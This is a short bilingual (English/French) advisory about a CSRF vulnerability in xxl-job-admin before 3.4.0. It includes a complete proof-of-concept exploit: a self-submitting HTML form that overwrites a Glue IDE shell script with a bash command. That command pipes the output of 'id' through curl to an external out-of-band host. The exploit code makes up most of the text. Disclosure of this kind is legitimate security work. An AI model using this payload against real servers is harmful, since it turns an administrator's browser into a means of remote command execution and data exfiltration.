
A Cross-Site Request Forgery (CSRF) vulnerability exists in the xxl-job-admin web application that allows an attacker to perform unauthorized modifications to Glue IDE shell scripts. The affected endpoint lacks proper CSRF token validation and accepts arbitrary HTTP methods via a permissive request mapping
Une vulnérabilité de type Cross-Site Request Forgery (CSRF) existe dans l'application web xxl-job-admin, permettant à un attaquant d'effectuer des modifications non autorisées sur les scripts shell de Glue IDE. Le point de terminaison concerné ne valide pas correctement les jetons CSRF et accepte des méthodes HTTP arbitraires via un mappage de requêtes permissif.
xxl-job < 3.4.0
Un attaquant peut tromper un administrateur authentifié pour qu'il effectue des modifications non autorisées sur les scripts shell de Glue IDE.
// Decode and change it
<html>
<body>
<form action="https://domain.com/jobcode/save">
<input type="hidden" name="id" value="294" />
<input type="hidden" name="glueSource" value="#!/bin/bash id | curl -d @- http://qic8br6d6om2j459zk4evuimldr4f03p.oastify.com  exit 0 " />
<input type="hidden" name="glueRemark" value="12345" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Crédits à Ibrahim Sartawi